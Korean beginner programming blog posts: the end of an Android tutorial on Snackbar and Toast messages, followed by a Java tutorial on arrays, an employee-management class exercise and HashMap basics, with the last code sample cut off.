  • setTextColor를 이용해 빨간색으로 바꾼다.
  • Toast기능도 사용하여 money_info 리소스를 만들고 리소스값으로 congratulations!! You get rich!!를 삽입하여 알람도 같이 뜨게 만든다.

 

2-2 SHOW INFO 버튼 기능 구현

 

MainActivity.java

public void showInfo(View view) {

        Snackbar.make(moneyValue, R.string.app_info, Snackbar.LENGTH_LONG)
                .setAction("More", view1 -> {
                    Log.d("Snack", "showInfo: Snackbar More");
                })
                .show();
    }
}
  • showInfo 메소드를 생성한다.
  • Snackbar를 이용해 app_info 리소스를 만들고 리소스값으로 Get, Rich를 삽입한다.
  • 스낵바 안에 More 버튼을 클릭할 시 Snackbar More 라는 문구가 안드로이드 스튜디오 로그로 나타나도록 한다.

 

2. 앱 실행

 

MAKE IT RAIN 버튼 기능 구현 모습

 

 

SHOW INFO 버튼 기능 구현 모습

 

 

스낵바에 More 버튼을 클릭한 모습

 

 

'Android Study' 카테고리의 다른 글

Android Study(애니메이션)  (0) 2023.04.10
Android Study(data binding)  (0) 2023.04.10
Android Study(Making App #Quiz)  (0) 2023.04.07

1. 배열

  • 같은 타입의 여러 변수를 하나의 묶음으로 다루는 것을 배열이라고 한다. 많은 양의 데이터를 저장하고 이를 다루기 위해 사용한다.
  • 여기서 중요한 것은 같은 타입이어야 한다는 것이며 서로 다른 타입의 변수들로 구성된 배열은 만들 수 없다.

1) 배열 선언

자료형[] 변수 = {데이터1, 데이터2, 데이터3.....};

 

ex)

int[]  myArray = {1, 33, 4, 12, 89, 98};

String[] names = {"James", "Anthony", "Rodrigo", "Nirai"};

 

2) 배열 출력

System.out.println(변수명[인덱스 번호]);

 

** 인덱스 번호는 맨 첫번째자리부터 0으로 시작해 순차적으로 매겨진다.

 

ex)

 System.out.println(myArray[2]);
 
 System.out.println(names[3]);
  
  ------------------------------------------------
  4
  Nirai

 

2. 실습예제

Exercise) 3개의 클래스를 생성해 직원관리 프로그램을 만드세요

 

Solution)

Employee.java

package com.example.learnjava;

public class Employee {
    private String firstName;
    private String lastName;
    private int idNumber;
    private String department;
    private String position;
    private double monthlySalary;


    public Employee(String firstName, String lastName, int idNumber, String department, String position, double monthlySalary) {
        this.firstName = firstName;
        this.lastName = lastName;
        this.idNumber = idNumber;
        this.department = department;
        this.position = position;
        this.monthlySalary = monthlySalary;
    }

    public String getFirstName() {
        return firstName;
    }

    public void setFirstName(String firstName) {
        this.firstName = firstName;
    }

    public String getLastName() {
        return lastName;
    }

    public void setLastName(String lastName) {
        this.lastName = lastName;
    }

    public int getIdNumber() {
        return idNumber;
    }

    public void setIdNumber(int idNumber) {
        this.idNumber = idNumber;
    }

    public String getDepartment() {
        return department;
    }

    public void setDepartment(String department) {
        this.department = department;
    }

    public String getPosition() {
        return position;
    }

    public void setPosition(String position) {
        this.position = position;
    }

    public double getMonthlySalary() {
        return monthlySalary;
    }

    public void setMonthlySalary(double monthlySalary) {
        this.monthlySalary = monthlySalary;
    }
}
  • 먼저 사원들의 정보가 들어갈 필드를 생성해줍니다.
  • 그 다음 생성자를 만들어 각 필드의 값들을 초기화 시킵니다.
  • private으로 접근제한을 설정하였기 때문에 다른클래스에서 수정을 위해 getter/setter를 추가합니다.

 

Employer.java

package com.example.learnjava;

public class Employer {

    private String name;
    private String location;

    public Employer(String name, String location) {
        this.name = name;
        this.location = location;
    }

    public Employer() {
    }

    public void employeeDetails(Employee employee) {
        System.out.println("ID: " + employee.getIdNumber() + " Name: " + employee.getFirstName() +
                " " + employee.getLastName() + " Department: " + employee.getDepartment() +
                " Position: " + employee.getPosition() + " Monthly Salary: " + employee.getMonthlySalary());

	}
    
    public void calculateAnnualBonus(Employee employee) {
        double annualBonus = (employee.getMonthlySalary() * 0.15) * 11;
        System.out.println("Annual bonus for " + employee.getFirstName() +
                " is " + annualBonus);
    }
}
  • 고용주(사장)의 정보가 들어갈 필드를 생성해줍니다.
  • Employer의 빈 생성자를 만듭니다.
  • 사원들의 정보를 출력하기 위한 메소드인 employeeDetails 메소드를 만듭니다.
  • 사원들의 연간보너스를 출력하기 위한 calculateAnnualBonus 메소드를 만듭니다.

 

MyClass.java

package com.example.learnjava;

public class MyClass {
    public static void main(String[] args) {

        Employer bank = new Employer();

        Employee Jenna = new Employee("Jenna", "Lassoft", 324587, "HR",
                "Recruiter", 4500.89);

        Employee Lance = new Employee("Lance", "K.", 3245377, "IT",
                "IT/Support", 3800.59);

        bank.calculateAnnualBonus(Jenna);
        bank.calculateAnnualBonus(Lance);
        bank.employeeDetails(Lance);

    }
}
  • bank 객체를 Employer 클래스를 이용해 만듭니다.
  • Employee 클래스에서 Jenna, Lance 객체를 만들어 정보들을 삽입합니다.
  • bank.메소드명으로 원하는 메소드를 불러와 정보를 출력합니다.

 

3. 키 값

  • 자바에서 키 값을 사용할때에는 HashMap이라는 함수를 이용한다.
  • HashMap은 Map 인터페이스를 구현한 함수다. Collection Framework에 속해있다.
  • 키(key)와 값(Value)으로 구성된 객체를 저장한다. 키는 중복을 허용하지 않으며 값은 중복 저장이 가능하다. 같은 키가 새롭게 저장되면 이전에 있던 키-값은 사라진다. 

HashMap 사용방법은 다음과 같다.

 

HashMap<데이터 타입> 참조변수명 = new HashMap<>();

put(key, value)

 

ex)

package com.example.learnjava;


import java.util.HashMap;

public class JavaHashMaps {
    public static void main(String[] args) {
        HashMap<String, Integer>gameStats = new HashMap<>();
        gameStats.put("James", 100);
        gameStats.put("Ruth", 457);
        gameStats.put("Carolina", 679);

'Java Study' 카테고리의 다른 글

Java Study(캡슐화)  (0) 2023.04.19
Java Study(상속/오버라이딩)  (0) 2023.03.31
Java Study(생성자/접근제한자)  (0) 2023.03.30
Java(class/object)  (0) 2023.03.29
Java (method/메소드)  (0) 2023.03.28

+ Recent posts